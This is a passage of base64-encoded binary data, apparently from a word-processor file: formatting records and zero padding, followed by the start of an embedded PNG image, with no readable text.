ADUIgUIqBnBo/0BAAAAYFWhgVpQAFmiKIpEANQiBQioGcGj/QEAAABIWaIoikQA1CIFCKgZwaP9A QAAAEhZoYFaRADUIgUIqBnBo/0BAABdKGgAAUhoAAFMaAABaGgAAuBoAAL8aAADfGgAA5RoAAOwa AAD1GgAA+hoAAPsaAAD8GgAA/RoAAP8aAAABGwAABRsAAAYbAAAHGwAACBsAAAkbAAD68vrq+ur6 6vrq3b/dq5qJeF2aRgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC0VaMpbWAAW aNBFwgA1CIE2CIFCKglPSgUAUUoFAFwIgV0IgV5KAgBwaAAzmQA1A2oAAAAAFmgsYfUANQiBQioB T0oCAFFKAgBVCAFcCIFeSgIAbUgABG5IAARwaAAAAAB1CAEhFmjKW1gANQiBQioBT0oCAFFKAgBc CIFeSgIAcGgAAAAAIRZoLGH1ADUIgUIqAU9KAgBRSgIAXAiBXkoCAHBoAAAAACEWaNBFwgA1CIFC KgFPSgIAUUoCAFwIgV5KAgBwaAAAAAAnFmjQRcIANQiBNgiBQioGT0oCAFFKAgBcCIFdCIFeSgIA cGj/AAAAOwNqAAAAABZo9BzAADUIgTYIgUIqBk9KAgBRSgIAVQgBXAiBXQiBXkoCAG1IAARuSAAE cGj/AAAAdQgBGBVoYFaUABZoJF0nADUIgUIqBnBo/0BAAAAPFWhgVpQAFmgkXScANQiBDxVoYFaU ABZoRVUSADUIgQkWaEVVEgA1CIEAFAkbAAAZGwAAIRsAACIbAAAjGwAAJBsAACobAAArGwAAQBsA AEMbAACMGwAAjRsAAMYbAADHGwAA4BsAAOEbAADjGwAA6tjEsp6XiZd+l4mXa5dUMgAAAAAAAAAA AAAAAAAAAABDA2oAAAAAFmhgVpQANQiBNgiBQioNQ0oUAE9KAgBRSgIAVQgBXAiBXQiBXkoCAGFK FABtSAAEbkgABHBoZgAAAHUIASwWaGpN/gA1CIFCKglDShQAT0oCAFFKAgBcCIFdCIFeSgIAYUoU AHBoADOZAAAlFWhgVpQAFmhqTf4AMEoXAEIqCk9KAgBRSgIAXkoCAHBoADNmABQVaCkK4gAWaGpN /gBtSB0Ec0gdBAAaA2oAAAAAFmhgVpQAVQgBbUgABG5IAAR1CAEADBVoYFaUABZoak3+AAAnFWgk XScAFmgICmcANQiBQioBT0oCAFFKAgBcCIFeSgIAcGgAAAAAIxZoCApnADUIgTkIgUIqC09KBQBR SgUAWSgDXAiBcGgAf0AAJxVoLGH1ABZo4CLXADUIgUIqAU9KAgBRSgIAXAiBXkoCAHBoAAAAACMW aCRdJwA1CIE5CIFCKgtPSgUAUUoFAFkoA1wIgXBoAH9AACkVaMpbWAAWaNBFwgA1CIE5CIFCKgtP SgUAUUoFAFkoA1wIgXBoAH9AAAAQBRsAACIbAAAjGwAAJBsAACUbAAAqGwAALBsAAC0bAAAvGwAA MBsAADEbAADvAAAAAAAAAAAAAAAA7wAAAAAAAAAAAAAAAO8AAAAAAAAAAAAAAADmAAAAAAAAAAAA AAAA5gAAAAAAAAAAAAAAAOYAAAAAAAAAAAAAAADmAAAAAAAAAAAAAAAA5gAAAAAAAAAAAAAAAOYA AAAAAAAAAAAAAADmAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAkYABYkAUlmAQAAAGdk4CLXAAAPAAASZCABAAAUpAAA MSQANyQAOCQASCQAZ2QkXScAAAoxGwAAMhsAADMbAAA7GwAAPBsAAD0bAAA/GwAAQBsAAEEbAABv AAAAAAAAAAAAAAAAZgAAAAAAAAAAAAAAAGYAAAAAAAAAAAAAAABmAAAAAAAAAAAAAAAAZgAAAAAA AAAAAAAAAGYAAAAAAAAAAAAAAABmAAAAAAAAAAAAAAAAZgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJGAAW 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 